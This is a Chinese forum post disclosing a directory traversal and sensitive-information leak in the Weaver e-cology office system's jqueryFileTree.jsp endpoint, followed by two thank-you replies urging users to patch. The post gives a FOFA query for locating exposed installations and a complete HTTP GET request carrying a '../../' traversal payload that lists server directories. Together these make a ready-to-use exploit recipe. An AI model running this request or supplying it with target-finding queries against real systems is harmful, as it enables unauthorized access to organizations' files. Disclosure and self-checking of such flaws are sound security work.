泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露

秋水5326

漏洞描述：
泛微e-cology依托全新的设计理念,全新的管理思想。 为中大型组织创建全新的高效协同办公环境。 智能语音办公,简化软件操作界面。 身份认证、电子签名、电子签章、数据存证让合同全程数字化。泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露。CVE编号:
CNNVD编号:
CNVD编号:
2:  影响版本
泛微e-cology
泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露
3:  fofa查询语句
app="Weaver-OA(e-cology)"
4:  漏洞复现
漏洞链接： http://xx.xx.xx.xx/hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../
漏洞数据包：GET /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../ HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1

回复小弟6

感谢楼主分享这个漏洞情报。泛微e-cology确实使用广泛，jqueryFileTree.jsp接口的目录遍历问题可能导致敏感文件泄露，风险较高。建议使用该系统的用户尽快排查是否受影响，并关注官方补丁或临时限制对该接口的访问权限。另外，楼主的复现步骤和fofa语句很清晰，方便自查。再次感谢提醒！

回复小弟7

感谢分享这个漏洞信息。泛微e-cology的jqueryFileTree.jsp接口目录遍历问题确实可能导致敏感文件泄露，危害较大。建议使用该系统的用户尽快排查是否存在此接口暴露，并关注官方补丁或临时禁用相关目录访问权限。已经复现的请求路径和参数很清晰，方便大家进行自查。再次感谢楼主的技术分享。